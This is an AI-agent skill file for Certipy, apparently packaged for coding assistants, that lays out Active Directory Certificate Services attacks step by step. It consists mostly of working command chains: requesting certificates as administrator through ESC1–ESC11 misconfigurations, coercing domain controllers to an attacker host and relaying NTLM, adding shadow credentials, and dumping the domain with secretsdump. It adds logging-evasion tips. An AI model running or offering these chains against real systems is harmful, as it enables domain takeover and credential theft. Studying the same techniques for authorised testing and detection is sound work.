offensive-tools/windows/certipy/SKILL.md
Auth/lab ref: Python-based AD Certificate Services testing tool.
npx skillsauth add aeondave/malskill certipyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Python ADCS attack toolkit — enumerate templates, exploit ESC misconfigs, shadow credentials, PKINIT auth.
pipx install certipy-ad
# or
pip install certipy-ad
# Password
certipy COMMAND -u user@DOMAIN -p password -dc-ip DC_IP
# Hash (PTH)
certipy COMMAND -u user@DOMAIN -hashes :NTHASH -dc-ip DC_IP
# Kerberos ccache
certipy COMMAND -u user@DOMAIN -k -dc-ip DC_IP
# Full enumeration — save to JSON+txt
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -stdout
# Save results for offline review
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -output certipy_results
# Show only vulnerable templates
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable -stdout
# Include enabled templates only
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -enabled -stdout
Output fields to inspect:
[!] Vulnerabilities → ESC flags detectedEnrollment Rights → who can enroll (domain users = broad attack surface)Extended Key Usage → if empty or "Any Purpose" = very dangerousEnrollee Supplies Subject → if True = ESC1 candidateCA Name → target for requestTemplate allows requester to set arbitrary SAN. Request cert as any user including DA.
# 1. Identify ESC1 template
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout | grep -A5 "ESC1"
# 2. Request cert for administrator via SAN
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
# 3. Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -domain DOMAIN -username administrator -dc-ip DC
# 4. PTH with recovered hash
secretsdump.py -hashes :NTHASH DOMAIN/administrator@DC
Full one-liner chain:
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "UserTemplate" -upn administrator@DOMAIN -dc-ip DC && \
certipy auth -pfx administrator.pfx -dc-ip DC
Template has Any Purpose EKU or no EKU at all — can be used like ESC1 (SubjectAltName allowed when requesting as agent).
# Same workflow as ESC1 — request with -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
Two-step: request enrollment agent cert, then use it to enroll on behalf of another user.
# Step 1 — get enrollment agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Enrollment Agent Template" -dc-ip DC
# Step 2 — enroll on behalf of administrator using agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Target Template" \
-on-behalf-of DOMAIN\\administrator -pfx agent.pfx -dc-ip DC
# Step 3 — auth
certipy auth -pfx administrator.pfx -dc-ip DC
Attacker can modify template properties to introduce ESC1 vulnerability.
# 1. Save original template config
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -save-old -dc-ip DC
# 2. Modify template to enable SAN (makes it ESC1)
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.json -dc-ip DC
# 3. Now exploit as ESC1
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
# 4. Restore template after exploit
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.old.json -dc-ip DC
CA has flag set that allows SAN in ALL requests regardless of template settings.
# Any template becomes exploitable — just add -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template User -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
Attacker has Manage CA or Manage Certificates on the CA itself.
# Option A — ManageCA: enable ESC6 on CA then exploit
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC
# Now ESC6 workflow works
# Option B — ManageCertificates: issue pending/failed cert requests
# 1. Request cert (it will fail without ManageCA)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template SubCA -dc-ip DC
# 2. Issue the denied request (get request ID from step 1 output)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -issue-request REQUEST_ID -dc-ip DC
# 3. Retrieve issued cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -retrieve REQUEST_ID -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
Relay NTLM auth of machine account or user to the ADCS HTTP Web Enrollment endpoint — get cert for that account.
# 1. Start certipy relay listener
certipy relay -ca CA_IP -template DomainController -dc-ip DC_IP
# 2. Coerce target machine to authenticate (Coercer, PetitPotam, PrinterBug)
coercer.py -t TARGET_DC -l ATTACKER_IP
# or
python3 PetitPotam.py ATTACKER_IP TARGET_DC
# 3. Certipy auto-retrieves cert and converts to pfx
# 4. Auth with cert → get NT hash of DC machine account
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 5. DCSync using DC machine hash
secretsdump.py -hashes :DC_NTHASH DOMAIN/DC$@DC_IP
Template does not embed security extension — certificate mapping can be abused if account UPN is controllable.
# Requires GenericWrite on a target account
# 1. Change target account UPN to administrator UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn administrator@DOMAIN -dc-ip DC
# 2. Request cert as targetuser (uses administrator UPN due to no security extension)
certipy req -u targetuser@DOMAIN -p targetpass -ca CA-NAME -template TEMPLATE_NAME -dc-ip DC
# 3. Restore original UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn targetuser@DOMAIN -dc-ip DC
# 4. Auth with cert — maps to administrator
certipy auth -pfx administrator.pfx -dc-ip DC
Relay NTLM to ADCS RPC interface instead of HTTP — same goal as ESC8.
certipy relay -target rpc://CA_IP -ca CA-NAME -template DomainController
# Then coerce auth as in ESC8
Abuse msDS-KeyCredentialLink — add a key credential to a user/computer, then auth via PKINIT without their password.
# 1. Add shadow credential to target account (requires GenericWrite/WriteProperty)
certipy shadow auto -u user@DOMAIN -p pass -account TARGETACCOUNT -dc-ip DC
# Output: saves .pfx and prints NT hash of target
# certipy auto handles: add key → auth → remove key (clean)
# Manual steps if needed
certipy shadow add -u user@DOMAIN -p pass -account TARGET -dc-ip DC
certipy auth -pfx TARGET.pfx -dc-ip DC
certipy shadow remove -u user@DOMAIN -p pass -account TARGET -device-id DEVICE_ID -dc-ip DC
When useful:
Authenticate to KDC using a certificate. Retrieves TGT + NT hash via PKINIT U2U.
# Auth and get NT hash
certipy auth -pfx user.pfx -domain DOMAIN -username user -dc-ip DC
# PTH with recovered hash
secretsdump.py DOMAIN/user@DC -hashes :NTHASH
# Kerberos ccache output for tool use
certipy auth -pfx user.pfx -dc-ip DC
export KRB5CCNAME=user.ccache
# List CAs
certipy ca -u user@DOMAIN -p pass -dc-ip DC -list
# List enabled templates on CA
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -list-templates -dc-ip DC
# Enable template (requires ManageCA)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-template TEMPLATE_NAME -dc-ip DC
# Disable template
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -disable-template TEMPLATE_NAME -dc-ip DC
# Enable SAN flag (ESC6)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC
# PEM to PFX
certipy cert -pfx cert.pem key.pem -export -out output.pfx
# PFX to PEM
certipy cert -pfx cert.pfx -export -pem
# PFX with password
certipy cert -pfx cert.pfx -password pfxpass -export -pem
# Recon
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout
# Request as DA
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "VulnTemplate" -upn administrator@DOMAIN -dc-ip DC
# Auth → hash
certipy auth -pfx administrator.pfx -dc-ip DC
# Dump domain
secretsdump.py DOMAIN/administrator@DC -hashes :ADMIN_HASH
# Terminal 1 — relay
certipy relay -ca CA_IP -template DomainController -dc-ip DC
# Terminal 2 — coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP
# After relay: auth with DC cert
certipy auth -pfx dc.pfx -dc-ip DC
secretsdump.py -hashes :DC_HASH DOMAIN/DC$@DC_IP
# BloodHound identifies GenericWrite on svc_account
certipy shadow auto -u user@DOMAIN -p pass -account svc_account -dc-ip DC
# If svc_account is admin, done
# If not: use NT hash to enumerate further
certipy find generates LDAP queries to enumerate CAs/templates — visible in LDAP logscertipy req generates a certificate request event (4886) on the CA — loggedcertipy auth PKINIT auth generates Kerberos TGT events (4768) with cert infomsDS-KeyCredentialLink generates Event 5136 (object modified)-vulnerable -stdout over full scan to minimize noise| File | When to load |
|------|--------------|
| references/adcs-internals-and-detection.md | Template field anatomy, ESC5/ESC10/ESC13 details, PKINIT U2U internals, cross-domain attacks, Rubeus integration, detection signatures |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.